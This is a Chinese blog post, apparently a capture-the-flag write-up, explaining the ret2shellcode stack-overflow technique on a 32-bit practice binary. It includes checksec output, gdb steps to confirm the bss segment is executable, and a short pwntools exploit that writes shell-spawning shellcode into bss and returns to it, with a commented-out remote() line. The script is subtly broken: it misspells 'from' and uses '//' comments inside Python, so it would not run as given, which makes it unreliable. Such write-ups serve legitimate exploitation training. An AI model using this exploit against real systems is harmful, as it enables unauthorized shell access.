ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。


0x1

拿道题之后先查看它的保护机制

-> checksec shellcode

Arch:    i386-32-little

RELRO:    Partial RELRO

Stack:    No canary found

NX:      NX disabled

PIE:      No PIE (0x8048000)

RWX:      Has RWX segments

0x2

发现文件几乎没有开什么保护,并且具有可读可写可执行的段。程序是32位的,直接扔到32位IDA里



可能存在一个栈溢出的漏洞,我们就可以利用漏洞。简单分析程序发现还将输入到S地址的数据复制到buf2里面,点开buf2发现buff2在bass段,我们再去找system(“/bin/sh”)按shift+F12发现没有/bin/sh


0x3

我们先检测一下buff2在bass段是否具有可读可写的可执行的权限,如果有我们就讲shellcode写入拿到想到东西。

b main  //在main函数下断点

r

vmmap //查看权限


通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限,那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于ret2text 中的例子。

exp如下

frorm pwn import*

p = process("./ret2shellcode")   

// r = remote('ip',端口)

shellcode = asm(shellcraft.sh()) 

//shellcode = asm(shellcraft.i386.linux.sh())

buf2 = 0x804a080

p.sendline(shellcode.ljust(112,'a') + p32(buf2))

p.interactive()



此篇文章如果存在问题,还望大佬批评指正

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。